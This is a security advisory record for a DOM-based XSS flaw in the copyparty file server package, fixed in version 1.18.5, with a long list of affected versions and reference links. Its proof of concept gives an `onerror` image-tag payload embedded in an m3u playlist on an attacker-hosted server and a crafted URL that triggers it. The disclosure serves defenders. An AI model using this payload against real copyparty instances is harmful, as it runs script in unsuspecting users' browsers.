id: PYSEC-2026-1277
published: "2026-07-07T16:02:59.039311Z"
modified: "2026-07-07T17:23:57.786922Z"
aliases:
- CVE-2025-54423
- GHSA-9q4r-x2hj-jmvr
summary: copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
details: "### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"><img src=x onerror=alert(document.domain)> - \"><img src=x onerror=alert(document.domain)>\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted."
affected:
- package:
    name: copyparty
    ecosystem: PyPI
    purl: pkg:pypi/copyparty
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 1.18.5
  versions:
  - 0.10.0
  - 0.10.1
  - 0.10.10
  - 0.10.11
  - 0.10.12
  - 0.10.13
  - 0.10.14
  - 0.10.15
  - 0.10.16
  - 0.10.17
  - 0.10.18
  - 0.10.19
  - 0.10.2
  - 0.10.20
  - 0.10.21
  - 0.10.22
  - 0.10.3
  - 0.10.4
  - 0.10.5
  - 0.10.6
  - 0.10.7
  - 0.10.8
  - 0.10.9
  - 0.11.0
  - 0.11.1
  - 0.11.10
  - 0.11.11
  - 0.11.12
  - 0.11.13
  - 0.11.14
  - 0.11.15
  - 0.11.16
  - 0.11.17
  - 0.11.18
  - 0.11.19
  - 0.11.20
  - 0.11.21
  - 0.11.22
  - 0.11.23
  - 0.11.24
  - 0.11.26
  - 0.11.27
  - 0.11.28
  - 0.11.29
  - 0.11.30
  - 0.11.31
  - 0.11.32
  - 0.11.33
  - 0.11.34
  - 0.11.35
  - 0.11.36
  - 0.11.37
  - 0.11.38
  - 0.11.39
  - 0.11.40
  - 0.11.41
  - 0.11.42
  - 0.11.43
  - 0.11.44
  - 0.11.45
  - 0.11.46
  - 0.11.47
  - 0.11.5
  - 0.11.6
  - 0.11.7
  - 0.11.8
  - 0.11.9
  - 0.12.1
  - 0.12.10
  - 0.12.11
  - 0.12.12
  - 0.12.3
  - 0.12.4
  - 0.12.5
  - 0.12.6
  - 0.12.7
  - 0.12.8
  - 0.12.9
  - 0.13.0
  - 0.13.1
  - 0.13.10
  - 0.13.11
  - 0.13.12
  - 0.13.13
  - 0.13.14
  - 0.13.2
  - 0.13.3
  - 0.13.5
  - 0.13.6
  - 0.13.7
  - 0.13.9
  - 0.2.3
  - 0.3.0
  - 0.3.1
  - 0.4.0
  - 0.4.1
  - 0.4.2
  - 0.4.3
  - 0.5.0
  - 0.5.1
  - 0.5.2
  - 0.5.3
  - 0.5.4
  - 0.5.5
  - 0.5.6
  - 0.5.7
  - 0.6.0
  - 0.6.2
  - 0.6.3
  - 0.7.0
  - 0.7.1
  - 0.7.2
  - 0.7.3
  - 0.7.4
  - 0.7.5
  - 0.7.6
  - 0.7.7
  - 0.8.1
  - 0.8.3
  - 0.9.0
  - 0.9.1
  - 0.9.10
  - 0.9.11
  - 0.9.13
  - 0.9.3
  - 0.9.4
  - 0.9.5
  - 0.9.6
  - 0.9.7
  - 0.9.8
  - 0.9.9
  - 1.0.0
  - 1.0.1
  - 1.0.10
  - 1.0.11
  - 1.0.12
  - 1.0.13
  - 1.0.14
  - 1.0.2
  - 1.0.3
  - 1.0.4
  - 1.0.5
  - 1.0.7
  - 1.0.8
  - 1.0.9
  - 1.1.0
  - 1.1.1
  - 1.1.10
  - 1.1.11
  - 1.1.12
  - 1.1.2
  - 1.1.3
  - 1.1.4
  - 1.1.5
  - 1.1.6
  - 1.1.7
  - 1.1.8
  - 1.1.9
  - 1.10.0
  - 1.10.1
  - 1.10.2
  - 1.11.0
  - 1.11.1
  - 1.11.2
  - 1.12.0
  - 1.12.1
  - 1.12.2
  - 1.13.0
  - 1.13.1
  - 1.13.2
  - 1.13.3
  - 1.13.4
  - 1.13.5
  - 1.13.6
  - 1.13.7
  - 1.13.8
  - 1.14.0
  - 1.14.1
  - 1.14.2
  - 1.14.3
  - 1.14.4
  - 1.15.0
  - 1.15.1
  - 1.15.10
  - 1.15.2
  - 1.15.3
  - 1.15.4
  - 1.15.5
  - 1.15.6
  - 1.15.7
  - 1.15.8
  - 1.15.9
  - 1.16.0
  - 1.16.1
  - 1.16.10
  - 1.16.11
  - 1.16.12
  - 1.16.13
  - 1.16.14
  - 1.16.15
  - 1.16.16
  - 1.16.17
  - 1.16.18
  - 1.16.19
  - 1.16.2
  - 1.16.20
  - 1.16.21
  - 1.16.3
  - 1.16.4
  - 1.16.5
  - 1.16.6
  - 1.16.7
  - 1.16.8
  - 1.16.9
  - 1.17.0
  - 1.17.1
  - 1.17.2
  - 1.18.0
  - 1.18.1
  - 1.18.2
  - 1.18.3
  - 1.18.4
  - 1.2.0
  - 1.2.1
  - 1.2.10
  - 1.2.11
  - 1.2.2
  - 1.2.3
  - 1.2.4
  - 1.2.5
  - 1.2.6
  - 1.2.7
  - 1.2.8
  - 1.2.9
  - 1.3.0
  - 1.3.1
  - 1.3.10
  - 1.3.11
  - 1.3.12
  - 1.3.13
  - 1.3.14
  - 1.3.15
  - 1.3.16
  - 1.3.2
  - 1.3.3
  - 1.3.4
  - 1.3.5
  - 1.3.6
  - 1.3.7
  - 1.3.8
  - 1.3.9
  - 1.4.0
  - 1.4.1
  - 1.4.2
  - 1.4.3
  - 1.4.4
  - 1.4.5
  - 1.4.6
  - 1.5.0
  - 1.5.1
  - 1.5.2
  - 1.5.3
  - 1.5.4
  - 1.5.5
  - 1.5.6
  - 1.6.0
  - 1.6.1
  - 1.6.10
  - 1.6.11
  - 1.6.12
  - 1.6.13
  - 1.6.14
  - 1.6.15
  - 1.6.2
  - 1.6.3
  - 1.6.4
  - 1.6.5
  - 1.6.6
  - 1.6.7
  - 1.6.8
  - 1.6.9
  - 1.7.0
  - 1.7.1
  - 1.7.2
  - 1.7.3
  - 1.7.4
  - 1.7.5
  - 1.7.6
  - 1.8.0
  - 1.8.1
  - 1.8.2
  - 1.8.3
  - 1.8.4
  - 1.8.6
  - 1.8.7
  - 1.8.8
  - 1.9.0
  - 1.9.1
  - 1.9.10
  - 1.9.11
  - 1.9.12
  - 1.9.13
  - 1.9.14
  - 1.9.15
  - 1.9.16
  - 1.9.17
  - 1.9.18
  - 1.9.19
  - 1.9.2
  - 1.9.20
  - 1.9.21
  - 1.9.24
  - 1.9.25
  - 1.9.26
  - 1.9.27
  - 1.9.28
  - 1.9.29
  - 1.9.3
  - 1.9.30
  - 1.9.31
  - 1.9.4
  - 1.9.5
  - 1.9.6
  - 1.9.7
  - 1.9.8
  - 1.9.9
references:
- type: WEB
  url: https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2025-54423
- type: WEB
  url: https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6
- type: PACKAGE
  url: https://github.com/9001/copyparty
- type: WEB
  url: https://github.com/9001/copyparty/releases/tag/v1.18.5
- type: PACKAGE
  url: https://pypi.org/project/copyparty
- type: ADVISORY
  url: https://github.com/advisories/GHSA-9q4r-x2hj-jmvr
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N